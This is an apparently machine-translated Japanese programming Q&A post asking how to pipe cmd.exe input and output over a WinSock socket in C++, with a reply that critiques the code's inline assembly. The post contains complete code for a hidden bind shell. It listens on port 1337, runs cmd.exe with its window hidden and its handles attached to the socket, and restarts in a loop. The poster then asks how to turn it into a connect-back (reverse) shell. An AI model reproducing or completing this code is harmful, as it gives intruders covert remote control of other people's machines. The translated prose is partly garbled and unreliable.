-2
私はcmd.exeの入力と出力をかなり長時間リダイレクトしようとしていましたが、C#での処理方法を理解していましたが、それでもC++で正しく実装する方法については気にしません。 私が得た最も遠いものはpopen()
でした。これは、コマンドを渡すたびにプロセスを再開してしまい、cdのようなコマンドを使用することができなくなってしまい、次のserverside関数でクライアント側に移植できなくなってしまいました:WinSock接続へのStdIn/StdOut/StdErrリダイレクト
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <iostream>
using namespace std;
void ServerStart()
{
WSADATA wsa;
SOCKET s;
SOCKADDR_IN sAddr;
USHORT port;
PROCESS_INFORMATION pi;
STARTUPINFO si;
port = 1337;//Set listening port
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
sAddr.sin_addr.s_addr = INADDR_ANY;
sAddr.sin_port = (port >> 8) | (port << 8);
sAddr.sin_family = AF_INET;
WSAStartup(0x0202, &wsa);
s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
bind(s, (LPSOCKADDR)&sAddr, sizeof(sAddr));
listen(s, 5);
__asm
{
push ebx
mov ebx, s
}
s = accept(s, NULL, NULL);//Accept Client
__asm
{
push ebx
call DWORD PTR [closesocket]//Close if error.
pop ebx
}
si.hStdInput = (HANDLE)s;
si.hStdOutput = (HANDLE)s;
si.hStdError = (HANDLE)s;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);//Start the remote process
WaitForSingleObject(pi.hProcess, INFINITE);//Allow Client to control remote process
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
closesocket(s);
WSACleanup();
ServerStart();//Server Start Loop
}
私はリスニングパートなしで上記と同じようにする方法についての助けやアドバイスをお待ちしております。ありがとうございます。
あなた '__asm'ブロックは不要です。元の 'SOCKET'をEBXに保存するのではなく、上書きできるようにする代わりに、代わりに2番目の' SOCKET'変数を使うべきです。あなたが本当に必要としない限り、C/C++とアセンブリーを混在させないでください。これは、必要な時代ではありません。 –